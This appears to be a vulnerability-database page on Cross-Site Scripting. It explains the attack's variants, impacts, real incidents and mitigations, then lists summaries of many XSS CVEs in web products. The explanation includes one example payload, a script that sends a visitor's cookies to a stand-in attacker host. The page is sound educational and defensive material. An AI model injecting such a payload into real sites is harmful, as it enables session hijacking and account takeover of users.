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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39237)

EPSS 1% CVSS 6.1
MEDIUM This Month

SAP BusinessObjects Business Intelligence Platform (BI Workspace) - version 420, is susceptible to a Cross-Site Scripting attack by an unauthenticated attacker due to improper sanitization of the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP Businessobjects Business Intelligence Platform
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

SAP NetWeaver Enterprise Portal - versions 7.10, 7.11, 7.20, 7.30, 7.31, 7.40, 7.50, is susceptible to script execution attack by an unauthenticated attacker due to improper sanitization of the user. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP Netweaver Enterprise Portal
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

A vulnerability has been identified in SCALANCE X302-7 EEC (230V), SCALANCE X302-7 EEC (230V, coated), SCALANCE X302-7 EEC (24V), SCALANCE X302-7 EEC (24V, coated), SCALANCE X302-7 EEC (2x 230V),. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

Siemens XSS Scalance X302 7Eec Firmware +22
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

PrivateBin is minimalist, open source online pastebin clone where the server has zero knowledge of pasted data. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Privatebin
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM This Month

Authenticated (admin or higher user role) Stored Cross-Site Scripting (XSS) in PlausibleHQ Plausible Analytics (WordPress plugin) <= 1.2.2. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Plausible Analytics
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

An authenticated high privileged user can perform a stored XSS attack due to incorrect output encoding in Incapptic connect and affects all current versions. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Incapptic Connect
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Daylight Studio Fuel CMS 1.5.1 is vulnerable to HTML Injection. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Fuel Cms
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Jfinal_CMS 5.1.0 allows attackers to use the feedback function to send malicious XSS code to the administrator backend and execute it. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jfinal Cms
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

The Advanced Booking Calendar WordPress plugin before 1.7.1 does not sanitise and escape the room parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS WordPress Advanced Booking Calendar
NVD WPScan
EPSS 1% CVSS 7.5
HIGH POC This Week

An unprivileged user could use the functionality of the NS WooCommerce Watermark WordPress plugin through 2.11.3 to load images that hide malware for example from passing malicious domains to hide. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Ns Watermark For Woocommerce
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

The Image optimization & Lazy Load by Optimole WordPress plugin before 3.3.2 does not sanitise and escape its "Lazyload background images for selectors" settings, which could allow high privilege. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS WordPress Image Optimization Lazy Load By Optimole
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Export All URLs WordPress plugin before 4.2 does not sanitise and escape the CSV filename before outputting it back in the page, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Export All Urls
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Easy Social Icons WordPress plugin before 3.2.1 does not properly escape the image_file field when adding a new social icon, allowing high privileged users to inject arbitrary javascript even. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Easy Social Icons
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Easy Smooth Scroll Links WordPress plugin before 2.23.1 does not sanitise and escape its settings, which could allow high privilege users such as admin to perform Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Easy Smooth Scroll Links
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Migration, Backup, Staging WordPress plugin before 0.9.70 does not sanitise and escape the sub_page parameter before outputting it back in the page, leading to a reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Migration Backup Staging
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

The Favicon by RealFaviconGenerator WordPress plugin before 1.3.23 does not properly sanitise and escape the json_result_url parameter before outputting it back in the Favicon admin dashboard,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS WordPress Favicon By Realfavicongenerator
NVD WPScan
EPSS 1% CVSS 6.4
MEDIUM POC This Month

The Post Grid WordPress plugin before 2.1.16 does not sanitise and escape the post_types parameter before outputting it back in the response of the post_grid_update_taxonomies_terms_by_posttypes AJAX. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Post Grid
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Nimble Page Builder WordPress plugin before 3.2.2 does not sanitise and escape the preview-level-guid parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Nimble Page Builder
NVD WPScan
EPSS 2% CVSS 6.1
MEDIUM POC This Month

The LearnPress WordPress plugin before 4.1.6 does not sanitise and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action, leading to a Reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Learnpress
NVD WPScan
EPSS 2% CVSS 5.4
MEDIUM POC PATCH This Month

Stored XSS viva .svg file upload in GitHub repository polonel/trudesk prior to v1.2.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS File Upload Trudesk
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository autolab/autolab prior to 2.8.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Autolab
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability at /ofcms/company-c-47 in OFCMS v1.1.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Comment text box. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ofcms
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability at /admin/goods/update in Newbee-Mall v1.0.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the goodsName. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Newbee Mall
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

InHand Networks InRouter 900 Industrial 4G Router before v1.0.0.r11700 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the web_exec parameter at /apply.cgi. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Inrouter 900 Firmware
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

zbzcms v1.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the neirong parameter at /php/ajax.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Zbzcms
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

XSS vulnerability with default `onCellHtmlData` function in GitHub repository hhurz/tableexport.jquery.plugin prior to 1.25.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Tableexport Jquery Plugin
NVD GitHub
EPSS 2% CVSS 5.4
MEDIUM POC PATCH This Month

Stored XSS in "Name", "Group Name" & "Title" in GitHub repository polonel/trudesk prior to v1.2.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Information Disclosure Trudesk
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability, which was classified as problematic, has been found in School Club Application System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS School Club Application System
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Reprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the /goform/rlmswitchr_process file parameter via GET. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Reprise License Manager
NVD
EPSS 4% CVSS 6.1
MEDIUM POC This Month

Reprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the /goform/login_process username parameter via GET. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Reprise License Manager
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in ONLYOFFICE Document Server Example before v7.0.0 allows remote attackers inject arbitrary HTML or JavaScript through /example/editor. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Document Server
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

Social Codia SMS v1 was discovered to contain a stored cross-site scripting (XSS) vulnerability via add_post.php. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Social Codia Sms
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

AeroCMS v0.0.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability via view_all_comments.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Aerocms
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

AeroCMS v0.0.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability via add_post.php. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Aerocms
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Bootstrap v3.1.11 and v3.3.7 was discovered to contain a cross-site scripting (XSS) vulnerability via the Title parameter in /vendor/views/add_product.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Ecommerce Codeigniter Bootstrap
NVD GitHub
EPSS 4% CVSS 6.1
MEDIUM POC PATCH This Month

Zoho ManageEngine ADSelfService Plus before 6121 allows XSS via the welcome name attribute to the Reset Password, Unlock Account, or User Must Change Password screen. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

Zoho XSS Manageengine Adselfservice Plus
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

A Cross Site Scripting (XSS) vulnerability exists in Exrick XMall Admin Panel as of 11/7/2021 via the GET parameter in product-add.jsp. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Xmall
NVD GitHub VulDB
EPSS 1% CVSS 5.4
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco AsyncOS Software for Cisco Web Security Appliance (WSA) could allow an authenticated, remote attacker to conduct a stored cross-site. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Cisco XSS Asyncos
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

A vulnerability in the web-based management interface of the Network Diagrams application for Cisco Secure Network Analytics, formerly Stealthwatch Enterprise, could allow an authenticated, remote. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Cisco XSS Secure Network Analytics
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

OrangeHRM 4.10 is vulnerable to Stored XSS in the "Share Video" section under "OrangeBuzz" via the GET/POST "createVideo[linkAddress]" parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Orangehrm
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

XSS in livehelperchat in GitHub repository livehelperchat/livehelperchat prior to 3.97. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Live Helper Chat
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Zoho ManageEngine SupportCenter Plus before 11020 allows Stored XSS in the request history. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

Zoho XSS Manageengine Supportcenter Plus
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Combodi iTop is a web based IT Service Management tool. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Itop
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

In JetBrains YouTrack before 2022.1.43700 it was possible to inject JavaScript into Markdown in the YouTrack Classic UI. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Youtrack
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

In JetBrains YouTrack before 2022.1.43563 it was possible to include an iframe from a third-party domain in the issue description. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Youtrack
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

In JetBrains YouTrack before 2022.1.43563 HTML code from the issue description was being rendered. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Youtrack
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Cross Site Scripting (XSS) vulnerability in objects/function.php in function getDeviceID in WWBN AVideo through 11.6, via the yptDevice parameter to view/include/head.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP XSS Avideo
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - DOM in GitHub repository tastyigniter/tastyigniter prior to 3.3.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Tastyigniter
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

CRHTLF can lead to invalid protocol extraction potentially leading to XSS in GitHub repository medialize/uri.js prior to 1.19.11. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Uri Js
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in College Website Content Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the User. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS College Website Content Management System
NVD GitHub
EPSS 1% CVSS 6.5
MEDIUM This Month

Inappropriate implementation in Full Screen Mode in Google Chrome on Android prior to 98.0.4758.80 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Google XSS Chrome
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in TPCMS v3.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Phone text box. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Tpcms
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

Authenticated (admin+) Stored Cross-Site Scripting (XSS) vulnerability in wpDataTables (WordPress plugin) versions <= 2.1.27. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Wpdatatables Lite
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Authenticated Persistent Cross-Site Scripting (XSS) vulnerability in FV Flowplayer Video Player (WordPress plugin) versions <= 7.5.18.727 via &fv_wp_flowplayer_field_splash parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Fv Flowplayer Video Player
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A remote cross-site scripting (xss) vulnerability was discovered in HPE OneView version(s): Prior to 6.6. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Oneview
NVD
EPSS 87% CVSS 5.4
MEDIUM This Month

Improper handling of user input in GitLab CE/EE versions 8.3 prior to 14.7.7, 14.8 prior to 14.8.5, and 14.9 prior to 14.9.2 allowed an attacker to exploit a stored XSS by abusing multi-word. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Gitlab XSS
NVD
EPSS 82% CVSS 6.1
MEDIUM POC THREAT This Month

Improper neutralization of user input in GitLab CE/EE versions 14.4 before 14.7.7, all versions starting from 14.8 before 14.8.5, all versions starting from 14.9 before 14.9.2 allowed an attacker to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

Gitlab XSS
NVD Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Directus is a real-time API and App dashboard for managing SQL database content. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Directus
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

In the Noo JobMonster WordPress theme before 4.5.2.9 JobMonster there is a XSS vulnerability as the input for the search form is provided through unsanitized GET requests. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Jobmonster
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

There is a XSS vulnerability in Careerfy. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Careerfy
NVD WPScan
EPSS 2% CVSS 6.1
MEDIUM POC This Month

There is a Cross-Site Scripting vulnerability in the JobSearch WP JobSearch WordPress plugin before 1.5.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Jobsearch Wp Job Board
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

There are unauthenticated reflected Cross-Site Scripting (XSS) vulnerabilities in CareerUp Careerup WordPress theme before 2.3.1, via the filter parameters. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Careerup
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Wyzi Theme was affected by reflected XSS vulnerabilities in the business search feature. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Wyzi
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

The Mark Posts WordPress plugin before 2.0.1 does not escape new markers, allowing high privilege users such as admin to perform Cross-Site Scripting attacks even when the unfiltered_html capability. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS WordPress Mark Posts
NVD WPScan
EPSS 4% CVSS 6.1
MEDIUM POC This Month

The Ad Inserter Free and Pro WordPress plugins before 2.7.12 do not sanitise and escape the REQUEST_URI before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Ad Inserter
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

The Profile Builder WordPress plugin before 3.6.8 does not sanitise and escape Form Fields titles and description, which could allow high privilege user such as admin to perform Criss-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS WordPress Profile Builder
NVD WPScan
EPSS 7% CVSS 6.1
MEDIUM POC This Month

The UpdraftPlus WordPress Backup Plugin WordPress plugin before 1.22.9 does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Updraftplus
NVD WPScan
EPSS 1% CVSS 6.5
MEDIUM POC This Month

The FormBuilder WordPress plugin through 1.08 does not have CSRF checks in place when creating/updating and deleting forms, and does not sanitise as well as escape its form field values. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS CSRF WordPress +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

The Insights from Google PageSpeed WordPress plugin before 4.0.4 does not sanitise and escape various parameters before outputting them back in attributes in the plugin's settings dashboard, leading. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

Google XSS WordPress +1
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in /public/admin/index.php?add_user at Ecommerce-Website v1.1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Ecommerce Website
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

PKP Vendor Open Journal System v2.4.8 to v3.3.8 allows attackers to perform reflected cross-site scripting (XSS) attacks via crafted HTTP headers. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Open Journal Systems
NVD GitHub
EPSS 71% CVSS 4.8
MEDIUM POC THREAT This Month

jc21.com Nginx Proxy Manager before 2.9.17 allows XSS during item deletion. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Nginx Nginx Proxy Manager
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Craft CMS before 3.7.29 allows XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Craft Cms
NVD GitHub
EPSS 82% CVSS 9.8
CRITICAL POC PATCH THREAT Act Now

Dompdf 1.2.1 allows remote code execution via a .php file in the src:url field of an @font-face Cascading Style Sheets (CSS) statement (within an HTML input file). Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

PHP RCE XSS +1
NVD GitHub Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

A blind self XSS vulnerability exists in RocketChat LiveChat <v1.9 that could allow an attacker to trick a victim pasting malicious code in their chat instance. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Livechat
NVD
EPSS 1% CVSS 4.8
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in Totaljs all versions before commit 95f54a5commit, allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Page. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Content Management System
NVD GitHub
EPSS 6% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) via Host Header injection in PKP Open Journals System 2.4.8 >= 3.3 allows remote attackers to inject arbitary code via the X-Forwarded-Host Header. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Open Journal Systems
NVD GitHub Exploit-DB
EPSS 1% CVSS 4.8
MEDIUM POC This Month

A Cross Site Scripting (XSS) vulnerability exists in Chikista Patient Management Software 2.0.2 in the first_name parameter in (1) patient/insert, (2) patient_report, (3) appointment_report, (4). Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Patient Management Software
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository vanessa219/vditor prior to 3.8.13. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Vditor
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Zero-channel BBS Plus v0.7.4 and earlier allows a remote attacker to inject an arbitrary script via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Zero Channel Plus
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Online Banking System Protect v1.0 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities via parameters on user profile, system_info and accounts management. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Banking System
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

QingScan 1.3.0 is affected by Cross Site Scripting (XSS) vulnerability in all search functions. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Qingscan
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

An issue was discovered in Joomla!. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Joomla
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

